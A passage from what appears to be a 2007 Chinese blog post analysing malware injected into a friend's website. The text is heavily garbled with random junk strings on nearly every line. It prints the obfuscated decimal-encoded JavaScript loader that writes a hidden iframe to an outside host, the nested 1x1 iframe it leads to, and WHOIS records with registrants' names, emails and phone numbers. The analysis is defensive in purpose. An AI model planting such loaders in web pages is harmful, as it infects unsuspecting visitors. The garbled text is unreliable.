首发在我的博客里面,
 @sly-2{e1   #LlHsY530N  http://www.areway.cn/?p=175 X>mY`$!/
   .op:
2y9]   y@[}FgVOh  周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码:
 \^iPU	27H             &?^S`V8R*  <script>t=’60,105,102,114,97,109,101,
 E
3b`GRay  32,115,114,99,61,104,116,116,112,58,47,47,
 Y)Y`9u<?  102,114,101,101,46,117,45,117,117,117,46,99,
 yc5C`r +6  110,47,101,114,114,111,114,46,104,116,109,
 	"Mgx5d  32,119,105,100,116,104,61,49,48,48,32,104,
 :mLcb.E  101,105,103,104,116,61,48,62,60,47,105,102,
 C=ni5R  114,97,109,101,62′;
 ua1ov7w$]  t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
 BP2-LG&\                                                                                                      <va3L y)c&  <script>t=’60,105,102,114,97,109,101,32,115,
 I0	a,mO;m  114,99,61,104,116,116,112,58,47,47,102,114,
 v8"plx=3  101,101,46,117,45,117,117,117,46,99,110,47,
  \P]w^  101,114,114,111,114,46,104,116,109,32,119,
 Ev;HV}G  105,100,116,104,61,49,48,48,32,104,101,105,
 }f)$+mi  103,104,116,61,48,62,60,47,105,102,114,97,
 hoI?,[@F  109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
 $X_JUzb  document.write(t);</script>
 @-bX[}.                                                                                                      _^Lv8a3(O  <html xmlns=”
 ][-N<  http://www.w3.org/1999/xhtml jC1mui|Y^  “>
 h+Km |  <head>
 4g]Er<-P  <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
 ?Y2ZqI  <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
 ~vnG^y>%  <title>首页 - 爱生活家庭网
 e2Sm.H	'                                                                                                                                                        t4pc2b  上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。
 _ngyai1  转换字符串后的大概内容是(谁点击后果自付):
 ?)x>GB(9ZN  <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
 !YL|R[nDH|                                                                                                                                      ([zt}uf  查询玉米u-uuu.cn的详细信息:
 DGr{x}Kq  Domain Name: u-uuu.cn
 \B"5 Kp<  ROID: 20070901s10001s64972306-cn
 Z<ozANbk  Domain Status: ok
 oK&LYlU  Registrant Organization: 王雷
 j<>|Hi
#`  Registrant Name: 王雷
 ^,')1r,  Administrative Email: 
czlovexs@126.com 24"Trg\WK[  Sponsoring Registrar: 北京万网志成科技有限公司
 
O[f* !   Name Server:ns.yovole.com
 Ed ,`1+  Name Server:ns1.yovole.com
 zu&5[XL  Registration Date: 2007-09-01 17:54
 (Da/$S.  Expiration Date: 2008-09-01 17:54
 / <WB%O  最后PING了一下地址 都没有什么….
 /]_T                                                                                                    y0>asl  上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套.
 'M185wDdAl  <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
 7PO3{I  <script language=”javascript” src=”
 6lO]V=+  http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script VTySKY+  >
 qEr2Y/:i"  这个玉米应该有可能是木马作者的:
 r
H;@N  foafau.info的详细信息:
 q}e"E
cr  Access to INFO WHOIS information is provided to assist persons in
 1VK?Svnd  determining the contents of a domain name registration record in the
 <qN0Q7  Afilias registry database. The data in this record is provided by
 T!5m'Q.  Afilias Limited for informational purposes only, and Afilias does not
 9@
 [R>C  guarantee its accuracy.  This service is intended only for query-based
 Ql
a'vcT  access. You agree that you will use this data only for lawful purposes
 !Uz{dFJf;  and that, under no circumstances will you use this data to: (a) allow,
 3}=r.\]U  enable, or otherwise support the transmission by e-mail, telephone, or
 :S}!i?n  facsimile of mass unsolicited, commercial advertising or solicitations
 0F-X.Dq  to entities other than the data recipient’s own existing customers; or
 1C\OL!@L  (b) enable high volume, automated, electronic processes that send
 D_
xPa  queries or data to the systems of Registry Operator, a Registrar, or
 lxy_O0n  Afilias except as reasonably necessary to register domain names or
 |t*(]U2O0  modify existing registrations. All rights reserved. Afilias reserves
 ;NH5
L,   the right to modify these terms at any time. By submitting this query,
 9Y!N\-x`  you agree to abide by this policy.
 /
pzdX%7  Domain ID:D22418703-LRMS
 84^'^nd  Domain Name:FOAFAU.INFO
 cjt<&b*	  Created On:20-Nov-2007 16:05:42 UTC
 \#.,@g  Last Updated On:20-Nov-2007 16:05:44 UTC
 x@I*(I  Expiration Date:20-Nov-2008 16:05:42 UTC
 <l]P
<N8^  Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
 py.lGywb_  Status:CLIENT DELETE PROHIBITED
 *LpEH,J  Status:CLIENT RENEW PROHIBITED
 CI"7* z_  Status:CLIENT TRANSFER PROHIBITED
 ;EbGW&T  Status:CLIENT UPDATE PROHIBITED
 3Yf&F([t  Status:TRANSFER PROHIBITED
 w2!G"oD  Registrant ID:GODA-040110615
 occ^bq  Registrant Name:liu hong
 T%~w~stW  Registrant Organization:
 I&~kwOP  Registrant Street1:beijing
 \Zz"%i   Registrant Street2:
 0 3fCn"  Registrant Street3:
 j_*$Avy  Registrant City:beijing
 JP`$A  Registrant State/Province:
 _O)xE9t#ru  Registrant Postal Code:100000
 /!;oO_U:#  Registrant Country:CN
 1>P[3Y@}  Registrant Phone:+86.860108888777
 [
qt
hn[3  Registrant Phone Ext.:
 	O=UXe]D  Registrant FAX:
 ehk5U,d  Registrant FAX Ext.:
 ntbl0Sk  Registrant Email:bbbshiji@163.com
 hc
OT+L>
  Admin ID:GODA-240110615
 L;zwqdI  Admin Name:liu hong
 H-A?F^#  Admin Organization:
 |D+"+w/  Admin Street1:beijing
 b"n8~Vd  Admin Street2:
 I
Y%M5(&Q  Admin Street3:
 n2&*5m&$  Admin City:beijing
 W1'F)5(?7  Admin State/Province:
 uKc	x$  Admin Postal Code:100000
 7S$Am84%  Admin Country:CN
 eqbQ,,	&  Admin Phone:+86.860108888777
 0+MNu8t  Admin Phone Ext.:
 \MBbZB9@  Admin FAX:
 2g5i3C.q$  Admin FAX Ext.:
 HA&7
ybl  Admin Email:bbbshiji@163.com
 $U%M]_  Billing ID:GODA-340110615
 Z-|.j^n  Billing Name:liu hong
 0Jz H	dz  Billing Organization:
 Oxs  O  Billing Street1:beijing
 }a?PBo`  Billing Street2:
 85CH%
I#  Billing Street3:
 li'h&!|]  Billing City:beijing
 ~_opU(;f  Billing State/Province:
 aX`"V/  Billing Postal Code:100000
 O	O?e8OU  Billing Country:CN
 FsQeyh>  Billing Phone:+86.860108888777
  ,5oe8\uz  Billing Phone Ext.:
 hhd%j6  Billing FAX:
 ' i5	VU4?K  Billing FAX Ext.:
 `)V1GR2
ES  Billing Email:bbbshiji@163.com
 -n&g**\w  Tech ID:GODA-140110615
 e$]`  Tech Name:liu hong
 K~'!JP8@  Tech Organization:
 x|4m*>Ke
  Tech Street1:beijing
 0_'(w;!wq:  Tech Street2:
 `roos<F1D  Tech Street3:
 <
kyT{[e+6  Tech City:beijing
 Zjqa n  Tech State/Province:
 )!6JSMS   Tech Postal Code:100000
 ro|mWP0  Tech Country:CN
 -]""Jl^  Tech Phone:+86.860108888777
 '%Og9Bgd+  Tech Phone Ext.:
  MMlryn||1  Tech FAX:
 kQ~2mU  Tech FAX Ext.:
 D =&+]>g{T
 =&+]>g{T   337y,;
 337y,;   eC%uu
 eC%uu    =5:L#`	.
 =5:L#`	.   z4t.-9(C
 z4t.-9(C  都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试